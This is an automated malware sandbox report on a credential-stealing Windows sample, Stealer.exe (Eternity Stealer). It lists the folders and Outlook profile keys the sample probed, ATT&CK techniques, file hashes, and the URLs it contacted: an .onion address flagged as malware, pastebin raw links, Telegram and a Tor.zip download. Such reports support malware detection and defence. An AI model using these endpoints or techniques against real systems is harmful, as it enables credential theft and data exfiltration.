Source: C:\Users\user\Desktop\Stealer.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior

Source: C:\Users\user\Desktop\Stealer.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Directory queried: C:\Users\user\Documents\CURQNKVOIX	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Directory queried: C:\Users\user\Documents\Outlook Files	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Directory queried: C:\Users\user\Documents\Outlook Files	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Directory queried: C:\Users\user\Documents\SFPUSAFIOL	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\Desktop\Stealer.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior

Source: Yara match

File source: Process Memory Space: Stealer.exe PID: 2308, type: MEMORYSTR

Remote Access Functionality

Yara detected Eternity Stealer

Source: Yara match	File source: Stealer.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Stealer.exe.ad0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.333992859.0000000000AD2000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Stealer.exe PID: 2308, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	1 OS Credential Dumping	11 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	11 Process Injection	1 Obfuscated Files or Information	1 Credentials in Registry	34 System Information Discovery	Remote Desktop Protocol	11 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Install Root Certificate	Security Account Manager	12 Security Software Discovery	SMB/Windows Admin Shares	1 Screen Capture	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Timestomp	NTDS	1 Query Registry	Distributed Component Object Model	1 Email Collection	11 Non-Standard Port	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Process Discovery	SSH	Keylogging	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 File Deletion	Cached Domain Credentials	51 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	4 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Modify Registry	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	1 Proxy	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	51 Virtualization/Sandbox Evasion	Proc Filesystem	11 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Process Injection	/etc/passwd and /etc/shadow	11 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Stealer.exe	100%	Avira	HEUR/AGEN.1307453
Stealer.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
http://ocsp.entrust.net03	0%	URL Reputation	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	URL Reputation	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe
http://izrukvro5khcol3z7cvvdq3akeunlod2gshgn7ppo3a4jvse3z5hpiyd.onion/stld/4c9395d28d054ddebee26b2aa	100%	Avira URL Cloud	malware
http://pastebin.comp	0%	Avira URL Cloud	safe
http://t.mep	0%	Avira URL Cloud	safe
https://cdn5.cdn-telegram.org/file/urI_EKpgc2j3bnVEG7hJPiftbxwqp29Csge9PUwai_V9SyHDH8vYkc30DN237hWwA	0%	Avira URL Cloud	safe
http://izrukvro5khcol3z7cvvdq3akeunlod2gshgn7ppo3a4jvse3z5hpiyd.onion/stld/4c9395d28d054ddebee26b2aa	2%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
t.me	149.154.167.99	true	false	high
ip-api.com	208.95.112.1	true	false	high
pastebin.com	172.67.34.170	true	false	high

Contacted URLs

Name	Malicious	Reputation
http://ip-api.com/json	false	high
https://pastebin.com/raw/X2Ddjiv0	false	high
https://t.me/tor_proxies	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	Stealer.exe, 00000000.00000002.466413641.000000000227C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	Stealer.exe, 00000000.00000002.466413641.000000000227C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.entrust.net/server1.crl0	Stealer.exe, 00000000.00000002.466707746.000000001BF59000.00000004.00000020.00020000.00000000.sdmp	false		high
https://web.telegram.org	Stealer.exe, 00000000.00000002.466413641.00000000021B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pastebin.comp	Stealer.exe, 00000000.00000002.466413641.00000000023CE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.entrust.net03	Stealer.exe, 00000000.00000002.466707746.000000001BF59000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://izrukvro5khcol3z7cvvdq3akeunlod2gshgn7ppo3a4jvse3z5hpiyd.onion/stld/4c9395d28d054ddebee26b2aa	Stealer.exe, 00000000.00000002.466413641.00000000022D3000.00000004.00000800.00020000.00000000.sdmp, Stealer.exe, 00000000.00000002.466413641.00000000021B1000.00000004.00000800.00020000.00000000.sdmp	true	2%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://pastebin.com/raw/X2Ddjiv0p	Stealer.exe, 00000000.00000002.466413641.00000000023CE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Stealer.exe, 00000000.00000002.466413641.000000000227C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.google.com/chrome/?p=plugin_flash	Stealer.exe, 00000000.00000002.466413641.00000000021B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	Stealer.exe, 00000000.00000002.466707746.000000001BF59000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.diginotar.nl/cps/pkioverheid0	Stealer.exe, 00000000.00000002.466707746.000000001BF59000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	Stealer.exe, 00000000.00000002.466413641.000000000227C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://t.me/tor_proxiesp	Stealer.exe, 00000000.00000002.466413641.00000000022D3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/L1ghtM4n/TorProxy/blob/main/LIB/Tor.zip?raw=true	Stealer.exe	false		high
https://www.google.com/favicon.ico	Stealer.exe, 00000000.00000002.466413641.000000000227C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn5.cdn-telegram.org/file/urI_EKpgc2j3bnVEG7hJPiftbxwqp29Csge9PUwai_V9SyHDH8vYkc30DN237hWwA	Stealer.exe, 00000000.00000002.466413641.00000000023CE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pastebin.com/raw/cription	Stealer.exe, 00000000.00000002.466413641.00000000021B1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	Stealer.exe, 00000000.00000002.466413641.000000000227C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	Stealer.exe, 00000000.00000002.466707746.000000001BF59000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ip-api.com	Stealer.exe, 00000000.00000002.466413641.00000000021B1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://pastebin.com/raw/	Stealer.exe, 00000000.00000002.466413641.00000000022D3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://t.me	Stealer.exe, 00000000.00000002.466413641.00000000022D3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://t.mep	Stealer.exe, 00000000.00000002.466413641.00000000023AD000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.entrust.net0D	Stealer.exe, 00000000.00000002.466707746.000000001BF59000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Stealer.exe, 00000000.00000002.466413641.00000000021B1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://secure.comodo.com/CPS0	Stealer.exe, 00000000.00000002.466624556.000000001A554000.00000004.00000020.00020000.00000000.sdmp, Stealer.exe, 00000000.00000002.466707746.000000001BF1B000.00000004.00000020.00020000.00000000.sdmp, Stealer.exe, 00000000.00000002.466707746.000000001BF59000.00000004.00000020.00020000.00000000.sdmp	false		high
http://pastebin.com	Stealer.exe, 00000000.00000002.466413641.00000000023CE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://t.me	Stealer.exe, 00000000.00000002.466413641.00000000023AD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	Stealer.exe, 00000000.00000002.466413641.000000000227C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://pastebin.com	Stealer.exe, 00000000.00000002.466413641.00000000023CE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.entrust.net/2048ca.crl0	Stealer.exe, 00000000.00000002.466707746.000000001BF59000.00000004.00000020.00020000.00000000.sdmp	false		high
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Stealer.exe, 00000000.00000002.466413641.000000000227C000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	false
172.67.34.170	pastebin.com	United States	13335	CLOUDFLARENETUS	false
149.154.167.99	t.me	United Kingdom	62041	TELEGRAMRU	false
188.166.166.142	unknown	Netherlands	14061	DIGITALOCEAN-ASNUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1417452
Start date and time:	2024-03-29 10:30:02 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 52s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Stealer.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@15/0@5/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 16 Number of non-executed functions: 7
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, conhost.exe
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
10:30:44	API Interceptor	969x Sleep call for process: Stealer.exe modified
10:30:47	API Interceptor	3x Sleep call for process: netsh.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	DHL_LHER000678175.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
	assento 555 pro-Model-2.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	ip-api.com/line/?fields=hosting
	ocrev ns.ordine 290520280324.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	ip-api.com/line/?fields=hosting
	YPT23-117419 numaral#U0131 Dekont-20240328.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
	FedEx_AWB#53203024643.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
	QUOTATION_MARQTRA031244#U00faPDF.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
	T_240369_S#U0130PAR#U0130S.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
	QUOTATION_MARQTRA031244#U00faPDF.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
	SecuriteInfo.com.Win32.CrypterX-gen.9933.28197.exe	Get hash	malicious	PureLog Stealer, Xehook Stealer	Browse	ip-api.com/json/?fields=11827
	x.exe	Get hash	malicious	AgentTesla, PureLog Stealer, RedLine	Browse	ip-api.com/line/?fields=hosting
172.67.34.170	SecuriteInfo.com.Win32.Evo-gen.26417.20881.exe	Get hash	malicious	AsyncRAT	Browse	pastebin.com/raw/KKpnJShN
	file.exe	Get hash	malicious	RedLine	Browse	pastebin.com/raw/r0KhEEzi
	file.exe	Get hash	malicious	RedLine	Browse	pastebin.com/raw/r0KhEEzi
	taRcbIUWK9.vbe	Get hash	malicious	MailPassView	Browse	pastebin.com/raw/zye80t2a
	fv7gA5kh4j.exe	Get hash	malicious	RedLine, Xmrig	Browse	pastebin.com/raw/r0KhEEzi
	SecuriteInfo.com.Trojan.Heur2.sNW@If4VDppi.27877.25664.exe	Get hash	malicious	Unknown	Browse	pastebin.com/raw/r0KhEEzi
	file.exe	Get hash	malicious	RedLine	Browse	pastebin.com/raw/r0KhEEzi
	vhQgySRol1.exe	Get hash	malicious	RedLine	Browse	pastebin.com/raw/r0KhEEzi
	SrfFpGhGIc.exe	Get hash	malicious	VjW0rm, WSHRAT	Browse	pastebin.com/raw/WVFt9GbZ
	Y9IlbIEYjk.exe	Get hash	malicious	VjW0rm, WSHRAT	Browse	pastebin.com/raw/A2n1xGpr

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
t.me	https://crm.mr.bet/track/click/c95d3si4y/c6561686462716b65686f62737c6569704564657e23756c6b69627b6e23616?target=https%3A%2F%2Fcrm.mr.bet%2Funsubscribe%2Findex%2FeyJtYWlsIjoibGVhaGRyYWtlaG9yc2xleUBlZHUuc2Vsa2lyay5jYSIsInByb2plY3QiOjMsImJ1bGsiOjYzNjg3MjIsInNpZ24iOiJDQVRQRjhRdzRRcXBpK2tcL2RFckprVmY4N0hrPSJ9	Get hash	malicious	Unknown	Browse	149.154.167.99
	nUswWbPPmT.ocx.dll	Get hash	malicious	Unknown	Browse	149.154.167.99
	nUswWbPPmT.ocx.dll	Get hash	malicious	Unknown	Browse	149.154.167.99
	Incident_Report_Harassment_by_Employee.doc	Get hash	malicious	Unknown	Browse	149.154.167.99
	Incident_Report_Harassment_by_Employee.doc	Get hash	malicious	Unknown	Browse	149.154.167.99
	https://drive.google.com/file/d/1mEtwMuIQi_Lxv2UbohD3NjVhr3AzgDZX/view?usp=drive_web	Get hash	malicious	Quasar	Browse	172.67.191.176
	https://xsptsdj.cn/	Get hash	malicious	Unknown	Browse	151.101.1.195
	https://frz.ywv.mybluehost.me/myBRT/home/paket.php	Get hash	malicious	Unknown	Browse	162.241.225.39
	dump2_cut.exe	Get hash	malicious	Raccoon	Browse	172.67.173.121
	dump2_cut.exe	Get hash	malicious	Raccoon	Browse	104.21.30.173
ip-api.com	DHL_LHER000678175.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	assento 555 pro-Model-2.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	208.95.112.1
	ocrev ns.ordine 290520280324.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	208.95.112.1
	YPT23-117419 numaral#U0131 Dekont-20240328.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	FedEx_AWB#53203024643.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	QUOTATION_MARQTRA031244#U00faPDF.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	T_240369_S#U0130PAR#U0130S.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	QUOTATION_MARQTRA031244#U00faPDF.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	SecuriteInfo.com.Win32.CrypterX-gen.9933.28197.exe	Get hash	malicious	PureLog Stealer, Xehook Stealer	Browse	208.95.112.1
	x.exe	Get hash	malicious	AgentTesla, PureLog Stealer, RedLine	Browse	208.95.112.1
pastebin.com	invoicee.vbs	Get hash	malicious	Unknown	Browse	172.67.34.170
	chrome.exe	Get hash	malicious	XWorm	Browse	172.67.34.170
	UU5WXfH85a.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	172.67.34.170
	WKn5bYRJGH.exe	Get hash	malicious	LimeRAT	Browse	172.67.34.170
	857SmDlK42.exe	Get hash	malicious	Unknown	Browse	104.20.68.143
	857SmDlK42.exe	Get hash	malicious	DCRat	Browse	172.67.34.170
	https://drive.google.com/file/d/1Y8n0jZgokB9jmAStRSvrj63LyXRj9rrA/view?usp=drive_web	Get hash	malicious	Quasar	Browse	172.67.34.170
	762544342.vbs	Get hash	malicious	XWorm	Browse	172.67.34.170
	2132544253.vbs	Get hash	malicious	XWorm	Browse	104.20.68.143
	#U7a3d.#U67e5.#U4f01.#U4e1a.#U540d.#U5355.#U624b#U518c.exe	Get hash	malicious	Unknown	Browse	104.20.67.143

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	MXpl6HFisn.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.5.15
	https://airdrop-online-altlayer-anniversary.s3.us-east-2.amazonaws.com/posten.html?cid=freetomfr@hotmail.com	Get hash	malicious	Phisher	Browse	172.64.150.248
	7ITPeT3VWW.exe	Get hash	malicious	LummaC	Browse	104.21.38.98
	l2ZKczbGRq.exe	Get hash	malicious	Amadey, PureLog Stealer, RedLine, RisePro Stealer, zgRAT	Browse	104.26.4.15
	XqC4Zcp8qg.exe	Get hash	malicious	RisePro Stealer	Browse	104.26.5.15
	3MdZ1WiAYP.exe	Get hash	malicious	RisePro Stealer	Browse	172.67.75.166
	7GofFHQDvk.exe	Get hash	malicious	RisePro Stealer	Browse	172.67.75.166
	TBC#01 Rev.A3 - lnexa.xls.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	DHL_LHER000678175.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	inpau292101.js	Get hash	malicious	FormBook	Browse	172.67.215.45
TELEGRAMRU	SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Get hash	malicious	Clipboard Hijacker, XWorm, Xmrig	Browse	149.154.167.220
	SecuriteInfo.com.Gen.Heur.Jatommy.03108.aaW@baaaa.28486.12528.exe	Get hash	malicious	Discord Token Stealer, XenoRAT, Xmrig	Browse	149.154.167.220
	SecuriteInfo.com.Win64.CrypterX-gen.14448.17144.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	x.exe	Get hash	malicious	AgentTesla, PureLog Stealer, RedLine	Browse	149.154.167.220
	aMObJ2eTUf.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, RedLine, zgRAT	Browse	149.154.167.220
	iY40ylvr5y.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	149.154.167.220
	DHL9407155789...exe	Get hash	malicious	DarkCloud	Browse	149.154.167.220
	https://moodle-projects.wolfware.ncsu.edu/Shibboleth.sso/Logout?return=https://owa-storage-limitt.s3.us-east-2.amazonaws.com/owa-2024.html?uid=dGVzdEB0ZXN0LmNvbQo	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	lnvoice-1445766252.pdf.js	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse	149.154.167.220
	JUSTIF.TRANSF..exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
DIGITALOCEAN-ASNUS	Mcb5K3TOWT.exe	Get hash	malicious	Unknown	Browse	37.139.22.180
	mips.elf	Get hash	malicious	Mirai	Browse	139.59.86.211
	https://ckydb04.na1.hubspotlinks.com/Ctc/OP+113/cKydB04/VW9bQw4skpv3N4QMDhk6pMpJW5g6HvJ5ccjQdN61zzVd3qn9gW7lCdLW6lZ3m-VBhZqP2fNwFyN40GRrrMQlZ-N2TdQmJ13Y6QW10XVPX3kbMHcN4L237-7KHZ5W1zLF7f8GbdtBW2ZKqmb4N84ZcW3QDpzS6S7KJJW5X7x_l7b4v9TW2F362D3Hh1s9W54lklM4T0vLxN7h7S8FNlcHjW20Y8Mn2bFBzVW9hqyrD48FY07W1SGLwZ5DF_9-W40HntB7qL0THW1mF8BY3vVj3gW2n5NX74XPrGTW45qZ3V6l-BrTN7CsbcvdfdyCW5951f94y1-HGN8ZFSwmVlSf3W5fSXSN3-n9KQW8hNdv46-Q6rkf7QDZST04	Get hash	malicious	Unknown	Browse	174.138.88.94
	https://mnrdtfqrcyfqiou.s3.amazonaws.com/mnrdtfqrcyfqiou.html#4HHHnO7279bGJq492fumheqtoju1686NCUIKVMPNMDQVMT689230/736882Y21#qgow23ahs76jjbq8j26ouc8n3ucpjfst25g85oeaei03mafty5n389r	Get hash	malicious	HTMLPhisher	Browse	167.71.30.39
	cvdLNZXNPZ.elf	Get hash	malicious	Mirai	Browse	165.23.95.65
	SecuriteInfo.com.Trojan.Siggen10.9096.15276.30319.exe	Get hash	malicious	Njrat	Browse	157.245.191.173
	SecuriteInfo.com.FileRepMalware.20494.7181.exe	Get hash	malicious	Xmrig	Browse	178.128.242.134
	f699.js	Get hash	malicious	Unknown	Browse	164.90.149.198
	AhbJkpk3Z8.elf	Get hash	malicious	Unknown	Browse	134.209.44.115
	https://bafkreiakypngf5p2vusgmzt3htrul7f7hmhpylofrop6cg6waka2djtzz4.ipfs.dweb.link/#katja.lundberg-rand@daiichi-sankyo.eu	Get hash	malicious	Unknown	Browse	134.122.57.34
TUT-ASUS	DHL_LHER000678175.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	assento 555 pro-Model-2.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	208.95.112.1
	ocrev ns.ordine 290520280324.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	208.95.112.1
	YPT23-117419 numaral#U0131 Dekont-20240328.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	FedEx_AWB#53203024643.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	QUOTATION_MARQTRA031244#U00faPDF.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	T_240369_S#U0130PAR#U0130S.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	QUOTATION_MARQTRA031244#U00faPDF.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	SecuriteInfo.com.Win32.CrypterX-gen.9933.28197.exe	Get hash	malicious	PureLog Stealer, Xehook Stealer	Browse	208.95.112.1
	x.exe	Get hash	malicious	AgentTesla, PureLog Stealer, RedLine	Browse	208.95.112.1

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
7dcce5b76c8b17472d024758970a406b	RFQ.doc	Get hash	malicious	AgentTesla	Browse	172.67.34.170 149.154.167.99
	New Order 3118.xlsx	Get hash	malicious	AgentTesla	Browse	172.67.34.170 149.154.167.99
	New Order 3118.doc	Get hash	malicious	AgentTesla	Browse	172.67.34.170 149.154.167.99
	New Order 67789034.doc	Get hash	malicious	Unknown	Browse	172.67.34.170 149.154.167.99
	RFQ No. 5490490.xla.xlsx	Get hash	malicious	Unknown	Browse	172.67.34.170 149.154.167.99
	RFQ No. 5490490.xla.xlsx	Get hash	malicious	Unknown	Browse	172.67.34.170 149.154.167.99
	New Order 3118.rtf	Get hash	malicious	Unknown	Browse	172.67.34.170 149.154.167.99
	Incident_Report_Harassment_by_Employee.doc	Get hash	malicious	Unknown	Browse	172.67.34.170 149.154.167.99
	#1337.doc	Get hash	malicious	Unknown	Browse	172.67.34.170 149.154.167.99
	1.xla.xlsx	Get hash	malicious	Unknown	Browse	172.67.34.170 149.154.167.99

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.640265630210374
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	Stealer.exe
File size:	344'064 bytes
MD5:	495f88115eabed181e30727f2d2363d3
SHA1:	59cd87a7e30926fc7c51a921b78216119f9d4f1c
SHA256:	cfef836fa4515f5371b8a30300098bdb03d4c91b123f0a35252757bc73b388f2
SHA512:	f71afad61cca5a15cb01a4aa342d92710c4d5c72c1b5d059f1bd63238d5a768e9c495fb5632ebfcae086b8e994076e26b1e557139cfd8303c26e8b2b1811a2a8
SSDEEP:	3072:hJucc5yxBhJNfx53RJTpB+d9IIYFNnFqhGCFbcnEGTUU8aJc/HUexspPyEVCYdXY:hJuE/FkiTaiDy+rztBRBwFbo5VdJ
